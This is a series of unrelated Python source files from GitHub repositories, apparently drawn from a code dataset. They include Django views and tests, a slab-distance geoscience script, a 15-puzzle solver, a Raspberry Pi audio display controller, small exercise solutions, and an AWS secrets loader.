self.assertEqual(\n            response.data,\n            {\n                \"status\": True,\n                \"code\": 0,\n                \"message\": None,\n                \"data\": {\"token\": \"token\", \"user\": \"UserAccountSerializer\"},\n            },\n        )\n\n    def test_create(self):\n        request = self.factory.post(\n            self.url, HTTP_AUTHORIZATION=\"Bearer {}\".format(self.auth_token)\n        )\n        response = self.view(request)\n\n        self.assertEqual(response.status_code, status.HTTP_200_OK)\n        self.assertEqual(\n            response.data[\"data\"][\"token\"],\n            \"token\",\n        )\n","repo_name":"mubasher117/eCopies-BE","sub_path":"apps/message/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"71194180410","text":"from django.shortcuts import render, get_object_or_404\nfrom .models import Post, PyTest\nfrom django.utils import timezone\nfrom .forms import PostForm, PyForm\nfrom django.shortcuts import redirect\n\ndef post_list(request):\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n\n    if request.method == \"POST\":\n        form = PostForm(request.POST)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            return redirect('post_list')\n    else:\n        form = PostForm()\n\n    return render(request, 'blog/post_list.html', {'posts':posts, 'form':form})\n\ndef post_detail(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    return render(request, 'blog/post_detail.html', {'post':post})\n\ndef post_new(request):\n    if request.method == \"POST\":\n        form = PostForm(request.POST)\n\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            return redirect('post_detail', pk=post.pk)\n\n    else:\n        form = PostForm()\n\n    return render(request, 'blog/post_edit.html', {'form':form})\n\ndef post_edit(request, pk):\n    post = get_object_or_404(Post, pk=pk)\n    if request.method == \"POST\":\n        form = PostForm(request.POST, instance=post)\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            return redirect('post_detail', pk=post.pk)\n    else:\n        form = PostForm(instance=post)\n\n    return render(request, 'blog/post_edit.html', {'form': form})\n\n\ndef py_test(request):\n\n    pytest = get_object_or_404(PyTest, pk=1)\n    if request.method == \"POST\":\n        #form = PyForm(request.POST, instance=pytest)\n        form = PyForm()\n    else:\n        form = PyForm()\n\n    input_text = request.POST.get('input_text')\n    if input_text is None:\n        input_text = \"\"\n\n    split_text = input_text.split()\n\n    print(request.POST.getlist('words'))\n    if 'submit_split' in request.POST:\n        print('submit_split')\n    elif 'submit_save' in request.POST:\n        print('submit_save')\n\n    return render(request, 'blog/important_words.html', {'pytest':pytest, 'form':form, 'input_text':input_text, 'split_text':split_text})","repo_name":"TrynBug/django","sub_path":"blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23601997474","text":"#!/usr/bin/env python3\n\n#%%\n\nfrom pyproj import Transformer\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport dataUtils as du\nimport warnings\nwarnings.filterwarnings(\"ignore\", category=RuntimeWarning)\nplt.rcParams.update({'font.size': 22})\n\nfrom geopy.distance import geodesic\n\nmy_json = './init.json'\nmeta = du.read_meta(my_json)\ntrench = du.read_plate_bound(meta['PLATE_BOUND_FILE'], meta['PLATE_BOUND_NAME'], v=False)\n\nlalo =  [  59.2734, -145.0874]\na, b =  [  59.2108, -145.0296], [  59.2108, -145.0296]\n\nplt.figure()\nplt.scatter(lalo[1], lalo[0])\nplt.scatter(a[1],a[0],c='k')\nplt.scatter(b[1],b[0],c='k')\nplt.show()\n\ntl = 5\nk = 2\n\narray = np.asarray(trench)\nvalue = np.asarray(lalo)\n\nlat0 = value[0]\nlon0 = value[1]\nsub  = (array[:,0]>lat0-tl)*(array[:,0]<lat0+tl)*(array[:,1]>lon0-tl)*(array[:,1]<lon0+tl)\n\nif np.sum(sub) < 3:\n    print('less than 3 candidates')\n\nsub_arr = array[sub]\ndist = []\n\nif len(value) == 3:\n    # 3D distance\n    for i in range(len(sub_arr)):\n        dist.append(np.sqrt(geodesic(sub_arr[i,:2], value[:2]).km**2 + np.abs(sub_arr[i,2]-value[2])**2))\nelif len(value) == 2:\n    # 2D distance\n    for i in range(len(sub_arr)):\n        dist.append(geodesic(sub_arr[i], value).km)\n\ndist = np.array(dist)\n\ndupl = 0\nwhile True:\n    idxs = np.argsort(dist)[:k+dupl]\n    dupl = k-len(set(dist[idxs]))\n    if dupl <= 0:\n        idxs = du.find_indeces(dist, sorted(list(set(dist[idxs]))))\n        break\n\nnk_idxs = du.find_indeces(array, sub_arr[idxs])\nprint(nk_idxs)\nprint(dist[idxs])\n\n\n\n\n\n#%%\nfile = './Slab2_AComprehe/alu_slab2_dep_02.23.18.xyz'\n\npdxyz, xyz = du.read_xyz(file)\nxyz = np.vstack((xyz[:,1], (xyz[:,0]-360), xyz[:,2])).T\n\n# %%\nk = 3\nhypo = [55, -160, -30]\nprint('Given hypocenter:\\n{}\\n'.format(hypo))\nlalo, dist = du.find_nearest_k(xyz, hypo, k=k)\n\nprint('Closest triangle:')\nfor i in range(k): print(lalo[i], 'Dist = {:.2f} km'.format(dist[i]))\n\n# %%\n# setup your projections\ntransformer = Transformer.from_crs(4326, 2100)\n\npoints = [hypo[:2]]\nhypo_p = []\nfor pt in transformer.itransform(points):\n    print('{:.3f} m  {:.3f} m'.format(*pt))\n    hypo_p.append([pt[0]/1e3, pt[1]/1e3, hypo[2]])\nhypo_p = np.array(hypo_p[0])\n\npoints = lalo[:,:2]\ngrids = []\ni=0\nfor pt in transformer.itransform(points):\n    print('{:.3f} m  {:.3f} m'.format(*pt))\n    grids.append([pt[0]/1e3, pt[1]/1e3, lalo[i,2]])\n    i += 1\ngrids = np.array(grids)\n\n# %%\n\nn_dist, n_vec = du.dist_3Dplane(grids, hypo_p)\nprint('Distance to plane = {:.2f} km'.format(n_dist))\nprint('Normal vector = {}'.format(n_vec))\n\nhypo_q = hypo_p + n_dist * n_vec\n\n# %%\npoly = np.concatenate((grids, grids[0,:].reshape([1,3])))\nfig = plt.figure(figsize=[8,8])\nax = fig.add_subplot(projection='3d')\nax.scatter(hypo_p[0], hypo_p[1], hypo_p[2], color='r')\nfor i in range(3):\n    ax.scatter(grids[i,0], grids[i,1], grids[i,2], marker='s', color='b')\nax.plot(poly[:,0], poly[:,1], poly[:,2], color='b')\nax.plot_trisurf(grids[:,0], grids[:,1], grids[:,2], color='lightgrey', alpha=0.4)\nax.plot([hypo_p[0],hypo_q[0]], [hypo_p[1],hypo_q[1]], [hypo_p[2],hypo_q[2]], color='r')\nax.scatter(hypo_q[0], hypo_q[1], hypo_q[2], color='r', marker='^')\nax.set_xlabel('X Label')\nax.set_ylabel('Y Label')\nax.set_zlabel('Z Label')\nplt.show()\n# %%\n","repo_name":"yuankailiu/utils","sub_path":"trivia/background_calc/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3221,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"25806307267","text":"import pytest\nfrom project import Node, get_max_depth, get_nodes_bylevel, inorder_traversal, preorder_traversal, postorder_traversal\n\ndef test_instantiation():\n    c = Node(\"c\")\n    b = Node(\"b\")\n    a = Node(\"a\", b, c)\n\n    assert isinstance(c, Node) == True\n    assert isinstance(b, Node) == True\n    assert isinstance(a, Node) == True\n\ndef test_badinstantiation():\n    with pytest.raises(ValueError):\n        c = Node(\"c\", \"a\")\n    with pytest.raises(ValueError):\n        b = Node(\"b\", 2)\n\n    with pytest.raises(ValueError):\n        a = Node(\"a\",None, \"\")\n\ndef test_maxdepth():\n    g = Node(\"g\",)\n    f = Node(\"f\", )\n    d = Node(\"d\",)\n    e = Node(\"e\",)\n    c = Node(\"c\", f, g)\n    b = Node(\"b\", d, e)\n    a1 = Node(\"a1\", b, c) \n\n    o = Node(\"o\")\n    n = Node(\"n\")\n    m = Node(\"m\")\n    l = Node(\"l\")\n    k = Node(\"k\")\n    j = Node(\"j\")\n    i = Node(\"i\")\n    h = Node(\"h\")\n    g = Node(\"g\", n, o)\n    f = Node(\"f\", l, m)\n    d = Node(\"d\",h,i)\n    e = Node(\"e\", j, k)\n    c = Node(\"c\", f, g)\n    b = Node(\"b\", d, e)\n    a2 = Node(\"a2\", b, c)\n    assert get_max_depth(a1)[1] == 3\n    assert get_max_depth(a2)[1] == 4\n\ndef test_getnodesbylevel():\n    g = Node(\"g\",)\n    f = Node(\"f\", )\n    d = Node(\"d\",)\n    e = Node(\"e\",)\n    c = Node(\"c\", f, g)\n    b = Node(\"b\", d, e)\n    a1 = Node(\"a1\", b, c) \n\n    assert  get_nodes_bylevel(a1,2) == [b, c]\n    assert  get_nodes_bylevel(a1,3) == [d, e, f, g]\n    \n    o = Node(\"o\")\n    n = Node(\"n\")\n    m = Node(\"m\")\n    l = Node(\"l\")\n    k = Node(\"k\")\n    j = Node(\"j\")\n    i = Node(\"i\")\n    h = Node(\"h\")\n    g = Node(\"g\", n, o)\n    f = Node(\"f\", l, m)\n    d = Node(\"d\",h,i)\n    e = Node(\"e\", j, k)\n    c = Node(\"c\", f, g)\n    b = Node(\"b\", d, e)\n    a2 = Node(\"a2\", b, c)\n\n    assert  get_nodes_bylevel(a2,1) == [a2]\n    assert  get_nodes_bylevel(a2,3) == [d, e, f, g]\n\n\ndef test_traversal():\n    g = Node(\"g\",)\n    f = Node(\"f\", )\n    d = Node(\"d\",)\n    e = Node(\"e\",)\n    c = Node(\"c\", f, g)\n    b = Node(\"b\", d, e)\n    a1 = Node(\"a1\", b, c) \n\n    assert inorder_traversal(a1) == [d, b, e, a1, f, c, g]\n    assert preorder_traversal(a1) == [a1, b, d, e, c, f, g]\n    assert postorder_traversal(a1) == [d, e, b, f, g, c, a1]","repo_name":"daultimateboss85/Binary-Tree-Utilities","sub_path":"test_project.py","file_name":"test_project.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73834926969","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n# ----------------------------------------------------------------------------\n# A control program for Pimoroni's Pirate-Audio hats.\n#\n# Author: Bernhard Bablok\n# License: GPL3\n#\n# Website: https://github.com/bablokb/pi-webradio\n#\n# ----------------------------------------------------------------------------\n\nimport locale, os, sys, json, traceback\nfrom webradio_cli import RadioCli\n\ntry:\n  from ST7789 import ST7789\n  from PIL import Image, ImageDraw\n  have_st7789 = True\nexcept:\n  have_st7789 = False\n\n# --- application class   ----------------------------------------------------\n\nclass PirateAudio(RadioCli):\n  \"\"\" application class \"\"\"\n\n  # --- constructor   --------------------------------------------------------\n\n  def __init__(self):\n    \"\"\" constructor \"\"\"\n\n    super(PirateAudio,self).__init__()\n    if have_st7789:\n      self.msg(\"PirateAudio: detected ST7789\")\n      self._init_display()\n    else:\n      self.msg(\"PirateAudio: no ST7789\")\n\n  # --- init display   -------------------------------------------------------\n\n  def _init_display(self):\n    \"\"\" initialize the display \"\"\"\n\n    SPI_SPEED_MHZ = 80\n\n    self._last_logo = \"\"\n\n    self._screen = ST7789(\n      rotation=90,  # Needed to display the right way up on Pirate Audio\n      port=0,       # SPI port\n      cs=1,         # SPI port Chip-select channel\n      dc=9,         # BCM pin used for data/command\n      backlight=13,\n      spi_speed_hz=SPI_SPEED_MHZ * 1000 * 1000\n      )\n\n  # --- update display   -----------------------------------------------------\n\n  def _update_display(self,logo):\n    \"\"\" update display with logo (logo is relative to the web-root) \"\"\"\n\n    if logo == self._last_logo:\n      return\n\n    logo_file = os.path.join(self.pgm_dir,\"..\",\"lib\",\"webradio\",\n                             \"web\",logo)\n    if not os.path.exists(logo_file):\n      logo_file = os.path.join(self.pgm_dir,\"..\",\"lib\",\"webradio\",\n                             \"web\",\"images\",\"default.png\")\n    self.msg(\"PirateAudio: logo-file: %s\" % logo_file)\n\n    try:\n      img = None\n      im  = Image.open(logo_file)\n      img = im.resize((240,240))\n      im.close()\n      self._screen.display(img)\n      self._last_logo = logo\n    except:\n      traceback.print_exc()\n      self.msg(\"PirateAudio: failed to display %s\" % logo_file)\n\n  # --- handle event   -------------------------------------------------------\n\n  def handle_event(self,event):\n    \"\"\" override to display channel-logo \"\"\"\n\n    ev_data = json.loads(event.data)\n    if ev_data['type'] != 'radio_play_channel':\n      self.msg(\"PirateAudio: ignoring event with type %s\" % ev_data['type'])\n      return\n\n    logo = ev_data['value']['logo']\n    self.msg(\"PirateAudio: logo: %s\" % logo)\n    if have_st7789:\n      self._update_display(logo)\n    \n  # --- close connection   ---------------------------------------------------\n\n  def close(self):\n    \"\"\" override to blank display \"\"\"\n\n    #self._screen.set_backlight(0)        # does not work during shutdown\n    self._screen.display(Image.new('RGB',(240,240),color=(0,0,0)))\n    super(PirateAudio,self).close()\n\n# --- main program   ---------------------------------------------------------\n\nif __name__ == '__main__':\n\n  # set local to default from environment\n  locale.setlocale(locale.LC_ALL, '')\n\n  # create client-class and parse arguments\n  app = PirateAudio()\n  app.pgm_dir = os.path.dirname(os.path.realpath(__file__))\n  app.run()\n","repo_name":"bablokb/pi-webradio","sub_path":"files/usr/local/bin/webradio_pirate_audio.py","file_name":"webradio_pirate_audio.py","file_ext":"py","file_size_in_byte":3453,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"}
+{"seq_id":"39691562664","text":"import time\nimport threading\nimport queue\nimport logging\nfrom functools import wraps\nimport errno\nimport os\nimport signal\n\nfrom resource import METERS_NAME_SET\n\n\nclass SwitchQuerier(threading.Thread):\n\n    def __init__(self, config=None, switch_name=None, switch_instance=None, data_queue=queue.Queue(), name_set=set()):\n        threading.Thread.__init__(self)\n        self._config = config\n        self._data_queue = data_queue\n        self._switch_instance = switch_instance\n        self._name_set = METERS_NAME_SET\n        self._switch_name = switch_name\n\n    def get_data(self,queue):\n        q = queue\n        data = {}\n        data[\"id\"] = self._switch_name\n        data[\"current_power\"] = self._switch_instance.current_power\n        data[\"today_seconds\"] = self._switch_instance.today_on_time\n        data[\"state\"] = self._switch_instance.get_state()\n        #return data\n        q.put(data)\n\n    def send_data(self, data):\n        self._data_queue.put(data)\n\n    def run(self):\n        q = queue.Queue(1)\n        while (True):\n            try:\n                t = threading.Thread(target=self.get_data(queue=q))\n                t.setDaemon(True)\n                t.start()\n                t.join(timeout=self._config[\"query_timeout\"])\n                if t.is_alive is True:\n                    break\n            except Exception as e:\n                logging.error(e)\n                break\n            else:\n                data = q.get()\n                self.send_data(data)\n                time.sleep(self._config[\"sensing_interval\"])\n\n        self._name_set.remove(self._switch_name)\n\n\n\n","repo_name":"substance9/WemoEnergyLogger","sub_path":"switch_querier.py","file_name":"switch_querier.py","file_ext":"py","file_size_in_byte":1597,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"18666920786","text":"#!/usr/bin/python\n# -*- coding: UTF-8 -*-\n\"\"\"\n给定一个偶数长度的数组，其中不同的数字代表着不同种类的糖果，每一个数字代表一个糖果。你需要把这些糖果平均分给一个弟弟和一个妹妹。返回妹妹可以获得的最大糖果的种类数\n\"\"\"\n\n\nclass Solution:\n    def distributeCandies(self, candyType) -> int:\n        count = int(len(candyType) / 2)\n        candies = set(candyType)\n        count1 = len(candies)\n        if count1 >= count:\n            return count\n        else:\n            return count1\n\n\ncandyType = [1, 1, 2, 2, 3, 3, 1, 1]\nsol = Solution()\nres = sol.distributeCandies(candyType)\nprint(res)\n","repo_name":"LikeSco/learn-python","sub_path":"py-exam/575.distributeCandies.py","file_name":"575.distributeCandies.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"25517659461","text":"import sys\nimport numpy as np\n\nfrom puzzle import Puzzle\nfrom bfs import Bfs\nfrom dfs import Dfs\nfrom astr import Astr\n\n# Default values for height and width\npuzzle_width = puzzle_height = 4\n\n# Function which print initial info from args and loaded file\ndef print_initial_info(args, loaded_puzzle):\n    print(\"\"\"\nInitial arguments list:\nStrategy: {}\nSearch order or heuristic: {}\nInput filename: {}\nOutput filename: {}\nAdditional filename: {}\nLoaded state of puzzle: \\n\\n{}\\n\"\"\".format(*args, loaded_puzzle))\n\n\n# Function which load initial state from given input file\ndef load_initial_puzzle(filename):\n    global puzzle_height, puzzle_width\n\n    with open(filename, 'r') as f:\n        puzzle_height, puzzle_width = [int(value) for value in f.readline().strip(\"\\r\\n\").split(\" \")]\n\n    return np.loadtxt(filename, dtype=int, skiprows=1)\n\n\n# Function which will generate correct state if given input state is not 4x4\ndef generate_correct_state(height, width):\n    correct_state = np.arange(1, height * width + 1).reshape(height, width)\n    correct_state[height - 1][width - 1] = 0\n    return correct_state\n\n\n# Function which save result to files\ndef save_final_data(result, solution_filename, additional_filename):\n    if \"No solution found!\" not in result:\n\n        with open(solution_filename + \".txt\", 'w') as f:\n            f.write(str(len(result[0])) + \"\\n\" + result[0])\n\n        with open(additional_filename + \".txt\", 'w') as f:\n            f.write(str(len(result[0])) + \"\\n\")\n            f.write(str(result[2]) + \"\\n\")\n            f.write(str(result[3]) + \"\\n\")\n            f.write(str(result[1]) + \"\\n\")\n            f.write(str(result[4]))\n            \n    else:\n        with open(solution_filename + \".txt\", 'w') as f:\n            f.write(\"-1\")\n        with open(additional_filename + \".txt\", 'w') as f:\n            f.write(\"-1\")\n\n\n# Simple function which print result to console\ndef print_result(result):\n    if \"No solution found!\" not in result:\n        print(\"Solution string: {}\\nMax depth: {}\\nNumber of visited: {}\\nNumber of processed: {}\\nExecution time: {} ms\".format(*result))\n    else:\n        print(\"No solution found!\")\n\n\n# Function for BFS\ndef use_bfs(initial_state, order, solution_filename, additional_filename):\n    bfs = Bfs(initial_state, order)\n    result = bfs.run_search()\n    \n    print_result(result)\n\n    save_final_data(result, solution_filename, additional_filename)\n\n\n# Function for DFS\ndef use_dfs(initial_state, order, solution_filename, additional_filename):\n    dfs = Dfs(initial_state, order)\n    result = dfs.run_search()\n\n    print_result(result)\n\n    save_final_data(result, solution_filename, additional_filename)\n\n\n# Function for A*\ndef use_a_star(initial_state, heuristic, solution_filename, additional_filename):\n    a_star = Astr(initial_state, heuristic)\n    result = a_star.run_search()\n\n    print_result(result)\n\n    save_final_data(result, solution_filename, additional_filename)\n\n\n# Function which acts like switch ... case\ndef choose_method(method, order, initial_state, solution_filename, additional_filename):\n    switch_by_method = {\n    'bfs': use_bfs,\n    'dfs': use_dfs,\n    'astr': use_a_star\n    }\n    method_to_use = switch_by_method.get(method.lower(), \"Wrong method!\")\n    return method_to_use(initial_state, order.lower(), solution_filename, additional_filename) if type(method_to_use) is not str else print(method_to_use)\n\n\ndef main():\n    \"\"\"\n    args[0] - method, bfs / dfs / astr\n    args[1] - search order or heuristic e.g. ldur / rldu / manh / hamm\n    args[2] - filename of puzzle file\n    args[3] - filename of solution file\n    args[4] - filename of additional data file\n\n    \"\"\"\n\n    args = sys.argv[1:]\n\n    if len(args) == 5:\n        initial_puzzle = load_initial_puzzle(args[2])\n        print_initial_info(args, initial_puzzle)\n\n        if puzzle_height != 4 or puzzle_width != 4:\n            correct_puzzle = generate_correct_state(puzzle_height, puzzle_width)\n            Puzzle.correct_state, Puzzle.puzzle_height, Puzzle.puzzle_width = correct_puzzle, puzzle_height, puzzle_width\n\n        first_state = Puzzle(initial_puzzle)\n        choose_method(args[0], args[1], first_state, args[3], args[4])\n\n    else:\n        print(\"Wrong number of arguments!\")\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"shumitu/15-puzzle-solver-SISE","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"24564476786","text":"'''\r\n This file takes the number of simulation as input and exectue the simulation about the trainer in the grid about certain time \r\n \r\n Junwei Tan\r\n'''\r\n\r\n# importing the random moduel and defining three mandatory function accroding to the requirement on pdf\r\nimport random\r\n# defining the function about the movement of the trainer\r\ndef move_trainer():\r\n    directions=['N', 'E', 'S', 'W']\r\n    return(random.choice(directions),random.random())\r\n# defining the function whether the pokeball catch the pokemon         \r\ndef throw_pokeball(num_false, num_true):\r\n    lst=[]\r\n    for m in range(num_false):\r\n        lst.append(False)\r\n    for n in range(num_true):\r\n        lst.append(True)\r\n    random_boolean = random.choice(lst)\r\n    return random_boolean\r\n# define the function that the result grid is returned \r\ndef run_one_simulation( grid, prob ):\r\n    # initializing\r\n    number_false = 3\r\n    number_true = 1    \r\n    turn =1\r\n    xposition=yposition = len(grid)//2\r\n    # copying the loop from part2 and change the pop out message to the change in the list grid\r\n    while True:\r\n        if xposition <= 0 or xposition>=size-1 or yposition<= 0 or yposition>=size-1:\r\n            return turn-1\r\n        movement = move_trainer()        \r\n        if movement[0]=='N':\r\n            xposition-=1\r\n        elif movement[0]=='S':\r\n            xposition+=1\r\n        elif movement[0] =='E':\r\n            yposition+=1\r\n        elif movement[0]=='W':\r\n            yposition-=1\r\n        if movement[1] < p :\r\n            catch = throw_pokeball(number_false,number_true)\r\n            if catch == True :\r\n                grid[xposition][yposition]+=1\r\n                number_true +=1\r\n            else:\r\n                grid[xposition][yposition]-=1\r\n        turn+=1    \r\n# get input from user\r\nsize = int(input(\"Enter the integer grid size => \"))\r\nprint(size)\r\nrandom_seed = 10*size + size\r\nrandom.seed(random_seed)\r\np = input(\"Enter a probability (0.0 - 1.0) => \")\r\n# i had to print out the exact input as the user typed in so float function had to be another line instead of writing them together\r\nprint(p)\r\np=float(p)\r\nnumber_simulation = int(input(\"Enter the number of simulations to run => \"))\r\nprint(number_simulation)\r\nprint()\r\n#initializing\r\ncount_grid = []\r\ntotal_turn =0\r\nmax_number = (0,0)\r\nmin_number=(999,0)\r\n# creating a all-0 grid\r\nfor i in range(size):\r\n    count_grid.append( [0]*size )\r\n    # let the grid record the simulation \r\n    # the simulation has multiple times according to the user input\r\nfor i in range(number_simulation):\r\n    turn = run_one_simulation(count_grid, p)\r\n    # record the maximum turn and minimum turn \r\n    if turn>max_number[0]:\r\n        max_number=(turn,i+1)\r\n    \r\n    if turn<min_number[0]:\r\n        min_number=(turn,i+1)\r\n        # record the total turn to calculate the average turns\r\n    total_turn+=turn\r\n    \r\nfor i in count_grid:\r\n    row_grid = \"\"\r\n    for o in i:\r\n        o=str(o)\r\n        # print out the result grid,according to the length of the string, moderate the number of space to make the grid neat\r\n        if len(o)==3:\r\n            row_grid+=\"  \"+o\r\n        elif len(o)==4:\r\n            row_grid+=\" \"+o\r\n        elif len(o)==2:\r\n            row_grid+=\"   \"+o\r\n        else:\r\n            row_grid+=\"    \"+o\r\n    print(row_grid)\r\n    \r\n    # pop out the stat message about the simulation accoding to the data stored in the variable previously\r\navg_turn = total_turn/number_simulation\r\nprint(\"Average number of turns in a simulation was {0:.2f}\".format(avg_turn))\r\nprint(\"Maximum number of turns was {0} in simulation {1}\".format(max_number[0],max_number[1]))\r\nprint(\"Minimum number of turns was {0} in simulation {1}\".format(min_number[0],min_number[1]))\r\npokemonlst =[]\r\npokemon = 0\r\n# from the result grid to derive the best net missed pokemon data\r\nfor i in count_grid:\r\n    for o in i:\r\n        if o>pokemon:\r\n            pokemon=o\r\nprint(\"Best net missed pokemon versus caught pokemon is {0}\".format(pokemon))\r\n# from the result grid to derive the worst net missed pokemon data\r\nfor i in count_grid:\r\n    for o in i:\r\n        if o<pokemon:\r\n            pokemon=o\r\nprint(\"Worst net missed pokemon versus caught pokemon is {0}\".format(pokemon))","repo_name":"junweitan1999/csci1100","sub_path":"homework/hw5/hw5Part3.py","file_name":"hw5Part3.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"12454774714","text":"from django.urls import path\nfrom .views import ProductsList, ProductDetail, NewsList, NewsDetail, ProductCreate, ProductUpdate, ProductDelete, \\\n   NewsCreate, NewsUpdate, NewsDelete, ArticleCreate, ArticleUpdate, ArticleDelete, ProtectedView, NewsSearch\n\nurlpatterns = [\n   path('', ProductsList.as_view(), name='product_list'),\n   path('<int:pk>/', ProductDetail.as_view(), name='product_detail'),\n   path('', NewsList.as_view(), name='news_list'),\n   path('<int:pk>/', NewsDetail.as_view(), name='news_detail'),\n   path('create/', ProductCreate.as_view(), name='product_create'),\n   path('<int:pk>/update/', ProductUpdate.as_view(), name='product_update'),\n   path('<int:pk>/delete/', ProductDelete.as_view(), name='product_delete'),\n   path('search/', NewsSearch.as_view(), name='news_search'),\n   path('create/', NewsCreate.as_view(), name='news_create'),\n   path('<int:pk>/edit/', NewsUpdate.as_view(), name='news_edit'),\n   path('<int:pk>/delete/', NewsDelete.as_view(), name='news_delete'),\n   path('create/', ArticleCreate.as_view(), name='article_create'),\n   path('<int:pk>/edit/', ArticleUpdate.as_view(), name='article_edit'),\n   path('<int:pk>/delete/', ArticleDelete.as_view(), name='article_delete'),\n   path('protected/', ProtectedView.as_view(), name='protected_view'),\n]\n","repo_name":"tmvpower/New_Portal","sub_path":"main1/simpleapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"36806034573","text":"t=int(input())\ni=0\nwhile i<t:\n    x,y,z=map(int,input().split())\n    if y>x>z or z>x>y:\n        print(x)\n    elif x>y>z or x<y<z:\n        print(y)\n    else:\n        print(z)\n    i+=1\n#Second Max of Three Numbers","repo_name":"soudaminimalik2001/codechef","sub_path":"q38.py","file_name":"q38.py","file_ext":"py","file_size_in_byte":211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"17773302793","text":"from django.shortcuts import render\r\nimport sys\r\nfrom django.db.models import Q\r\nimport datetime\r\nfrom cms.models import (\r\n        SchoolLogo, HomeCarousel, \r\n        Mission, Vision, \r\n        ImageBesideMissionVision, SiteHeaderImage,\r\n    )\r\nfrom .models import  UpcomingEvents, VerseOfTheDay, Announcements, AdmissionRequirements, TuitionFees, SchoolPeriod\r\n\r\nfrom serializers.main import SchoolPeriodSerializer\r\n\r\n#rest\r\nfrom rest_framework.permissions import IsAuthenticated, IsAdminUser\r\nfrom rest_framework.decorators import api_view, renderer_classes\r\nfrom rest_framework.response import Response\r\nfrom rest_framework import generics\r\nfrom rest_framework.renderers import BrowsableAPIRenderer,TemplateHTMLRenderer\r\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\r\n\r\n# Create your views here.\r\ndef index(request):\r\n    day = datetime.datetime.today()\r\n    logo = SchoolLogo.objects.first()\r\n    carousel_pics = HomeCarousel.objects.all()\r\n    mission = Mission.objects.first()\r\n    vision = Vision.objects.first()\r\n    mnvimage = ImageBesideMissionVision.objects.first()\r\n    header_image = SiteHeaderImage.objects.first()\r\n    events = UpcomingEvents.objects.filter(Q(date_of_event__gte= datetime.date.today())).order_by('date_of_event')\r\n    announcements = Announcements.objects.all().order_by('-date_posted')\r\n\r\n    print(sys.stderr, announcements)\r\n\r\n    verse = VerseOfTheDay.objects.filter(display_during = day.weekday())\r\n    context= {\r\n        'carousel_pics': carousel_pics,\r\n        'mission': mission,\r\n        'vision': vision,\r\n        'mnvimage': mnvimage,\r\n        'site_header_image': header_image,\r\n        'events' : events,\r\n        'verse' : verse,\r\n        'announcements': announcements,\r\n    }\r\n    return render(request, 'index.html', context)\r\n\r\n\r\ndef admission(request):\r\n    requirements = AdmissionRequirements.objects.first()\r\n    context = {\r\n        'requirements' : requirements,\r\n    }\r\n    return render(request,'main/admission.html', context)\r\n\r\n\r\ndef tuition(request):\r\n    tuition_fee_objects = TuitionFees.objects.first()\r\n    context = {\r\n        'tuition_fee_objects' : tuition_fee_objects,\r\n    }\r\n    return render(request, 'main/tuition.html', context)\r\n\r\n\r\nclass SchoolPeriodList(generics.ListAPIView):\r\n    authentication_classes = [SessionAuthentication, BasicAuthentication]\r\n    permission_classes = [IsAuthenticated]\r\n    serializer_class = SchoolPeriodSerializer\r\n    queryset = SchoolPeriod.objects.all()","repo_name":"jemgithub0418/cvs","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2503,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"18002315938","text":"import json\nimport os\n\nimport boto3\n\nfrom botocore.exceptions import ClientError\n\n\ndef set_secrets():\n    secret_name = \"reddit-runner/secrets\"\n    region_name = \"us-east-1\"\n\n    # Create a Secrets Manager client\n    session = boto3.session.Session()\n    client = session.client(service_name=\"secretsmanager\", region_name=region_name)\n\n    try:\n        get_secret_value_response = client.get_secret_value(SecretId=secret_name)\n    except ClientError as e:\n        print(e)\n        raise\n\n    # Decrypts secret using the associated KMS key.\n    secrets = json.loads(get_secret_value_response[\"SecretString\"])\n    for key, value in secrets.items():\n        os.environ[key] = value","repo_name":"Sean-Mangan/reddit-runner-lambda","sub_path":"secrets_utils.py","file_name":"secrets_utils.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
